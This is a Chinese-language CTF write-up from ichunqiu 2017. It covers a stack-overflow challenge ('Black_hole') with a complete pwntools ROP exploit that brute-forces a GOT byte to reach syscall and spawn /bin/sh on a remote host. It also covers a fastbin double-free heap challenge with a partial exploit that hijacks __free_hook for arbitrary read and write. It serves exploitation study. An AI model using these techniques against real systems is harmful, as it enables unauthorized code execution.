ichunqiu-CTF-2017-2

0x00

事后复现的,一些技巧也是第一次遇到。

Black_hole

1.vuln

主函数

1
2
3
4
5
6
7
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
alarm(0x60u);
while ( check(96LL, a2) == 2333 )
vuln();
sub_4006F6();
}

漏洞函数,栈溢出。

1
2
3
4
5
6
size_t vuln()
{
char ptr; // [sp+0h] [bp-10h]@1

return fread(&ptr, 1uLL, 32uLL, stdin);
}
2.tips

不断ret到main函数,循环读取输入,写完payload之后,ret到ret这个gadgets,去执行ROP。
因为是动态链接x64的程序,所以ROP构造直接使用通型gadgets去构造。
程序没有leak,开始我的思路是读取很多,去使用ret2dlresolve的思路去搞,没搞好…
后来看了作者分享的exp,才发现可以:覆盖alarm@got最后一字节,爆破的手段,找到syscall…然后就是布置好寄存器,起shell了。

3.exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *

context.log_level = 'debug'
context.arch='amd64'

LOCAL = False

if LOCAL:
p = process('black_hole')
else:
#p = remote('127.0.0.1',10001)
p = remote("106.75.66.195",11003)

main_addr = 0x0000000000400704
token = 2333

def write_stack(data):
p.sendline(str(token))
sleep(1)
payload = data.rjust(0x18,'A') + p64(main_addr)
sleep(1)
p.send(payload)

gadget_1 = 0x00000000004007A6
gadget_2 = 0x0000000000400790

addr_got_read = 0x0000000000601028
addr_bss = 0x000000000601058
addr_got_alarm = 0x0000000000601020


def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0,Flag=True):
if Flag:
pl = p64(part1) # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
pl += p64(0) # for junk
pl += p64(0x0) # rbx be 0x0
pl += p64(0x1) # rbp be 0x1
pl += p64(jmp2) # r12 jump to
pl += p64(arg3) # r13 -> rdx arg3
pl += p64(arg2) # r14 -> rsi arg2
pl += p64(arg1) # r15 -> edi arg1
pl += p64(part2) # part2 entry will call [rbx + r12 + 0x8]
return pl
else:
pl = p64(0) # for junk
pl += p64(0x0) # rbx be 0x0
pl += p64(0x1) # rbp be 0x1
pl += p64(jmp2) # r12 jump to
pl += p64(arg3) # r13 -> rdx arg3
pl += p64(arg2) # r14 -> rsi arg2
pl += p64(arg1) # r15 -> edi arg1
pl += p64(part2) # part2 entry will call [rbx + r12 + 0x8]
return pl

payload = com_gadget(gadget_1,gadget_2,addr_got_read,arg1=0x0,arg2=addr_got_alarm,arg3=1)
payload += com_gadget(gadget_1,gadget_2,addr_got_read,arg1=0x0,arg2=addr_bss,arg3=0x3B,Flag=False)
payload += com_gadget(gadget_1,gadget_2,addr_bss+8,arg1=addr_bss,arg2=0x0,arg3=0x0,Flag=False)

def main():
print payload
for i in xrange(len(payload), 0, -8):
print i
write_stack(payload[i-8:i])

sleep(1)
raw_input('0x00000000004006F5 ')
p.sendline(str(token))
p.send("A"*0x18 + p64(0x00000000004006CB))
sleep(1)
off = 5
p.send(str(off)) # ovwer write one byte
sleep(1)

payload2 = "/bin/sh\x00"
payload2 += p64(0x0000000000400540)
payload2 += (0x3B - len(payload2) - 1) * "A"
p.sendline(payload2)
p.interactive()

if __name__ == '__main__':
main()

fast-fast-fast [未完成]

1.vuln

fastbin的利用,目标就是控制fd指针,然后分配到自己想要的地址,正好全局指针都在.bss
程序的漏洞是double free

1
2
3
4
5
6
7
8
9
__int64 __fastcall delet(__int64 ptr)
{
__int64 result; // rax@1

free(*(_QWORD *)(ptr + 16));
result = ptr;
*(_QWORD *)ptr = 0LL; // set flag 0
return result;
}
2.tips

利用过程:

  1. 分配一个fastbin,然后释放掉
  2. 分配一个smallbin,然后释放fastbin(其实这里释放的是smallbin)
  3. 再次分配刚才释放掉的块(fastbin的菜单里)
  4. 编辑释放块,这里要伪造chunk
  5. 调用saysercrt()分配fastbin
  6. 分配的想要的块(得到一个.bss上的指针)
  7. 之后利用edit功能,可以完成任意地址读写

不过要注意的是,程序静态链接的…所以为了得到一个任意地址读,选择覆盖
.bss:00000000006C3750 __free_hook dq ? ; DATA XREF: ptmalloc_lock_all+CDr

.text:00000000004082A0 sub rsp, 0D8h ; Alternative name is '_IO_printf'

在开启NX的情况下,

1
2
3
4
5
6
7
8
$ checksec fast-fast-fast
[*] '/home/muhe/Desktop/ctf_work/ichunqiu/pwn1/fast-fast-fast'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE

只能ROP了,要么ROP起shell(syscall那种),要么mprotect改写内存属性执行写进去的sc。

3.exploit

在完成任意地址读写之后,ROP链还没构造好…难过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
from zio import *
from time import sleep

LOCAL = True
LITTLE = 0x1 #fastbin
SMALL = 0x2 #smallbin

if LOCAL:
target = './fast-fast-fast'
else:
target = ('127.0.0.1',10001)

io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))

environ = 0x00000000006C3888

def create(type,content):
if(type == LITTLE):
#little sercret
io.read_until('choose option:')
io.writeline('1')
io.read_until('choose option:')
io.writeline('1')
io.read_until('please input your secret')
io.writeline(str(content))
elif(type == SMALL):
#small sercret
io.read_until('choose option:')
io.writeline('2')
io.read_until('choose option:')
io.writeline('1')
io.read_until('please input your secret')
io.writeline(str(content))

def edit(type,new_content):
if(type == LITTLE):
#little sercret
io.read_until('choose option:')
io.writeline('1')
io.read_until('choose option:')
io.writeline('2')
sleep(1)
#io.read_until('please input your secret')
io.writeline(str(new_content))
elif(type == SMALL):
#small sercret
io.read_until('choose option:')
io.writeline('2')
io.read_until('choose option:')
io.writeline('2')
sleep(1)
#io.read_until('please input your secret')
io.writeline(str(new_content))

def delete(type):
if(type == LITTLE):
#little sercret
io.read_until('choose option:')
io.writeline('1')
io.read_until('choose option:')
io.writeline('3')
elif(type == SMALL):
#small sercret
io.read_until('choose option:')
io.writeline('2')
io.read_until('choose option:')
io.writeline('3')

def say_sercret():
io.read_until('choose option:')
io.writeline('3')

def write2where(addr,data):
edit(LITTLE,l64(1)+l64(0x1F0)+l64(addr))
edit(SMALL,data)

def read_from_where(addr):
edit(LITTLE,l64(1)+l64(0xF0F0)+l64(addr))
delete(SMALL)
ret = io.read_until('choose')
ret = ret[:len(ret)-6]
ret = ret[len(ret)-6:]
return ret

def main():
io.gdb_hint([0x00000000004012CA,0x0000000000401433,0x0000000000401445])

#create fastbin and free
create(LITTLE,'a')
delete(LITTLE)

#create SMALLBIN
create(SMALL,'b')

#double free here
delete(LITTLE)

#depart freed normal chunk
create(LITTLE,'c')
delete(LITTLE)

#edit freed fastbin
edit(SMALL,l64(0x00000000006C4AA0)) #.bss ---> fastbin

#get it
say_sercret()

#get chunk ptr --> 0x6c4ab0
create(LITTLE,l64(0x00000000006C4A80))

#modify free() to printf()
write2where(0x00000000006C3750,l64(0x00000000004082A0))

tmp = l64(read_from_where(environ).ljust(8,'\x00'))
print "stack :" + hex(tmp)

#now,we get the stack's addr ,and we can read-write everywhere.


io.interact()

if __name__ =='__main__':
main()

Werewolf [还没做]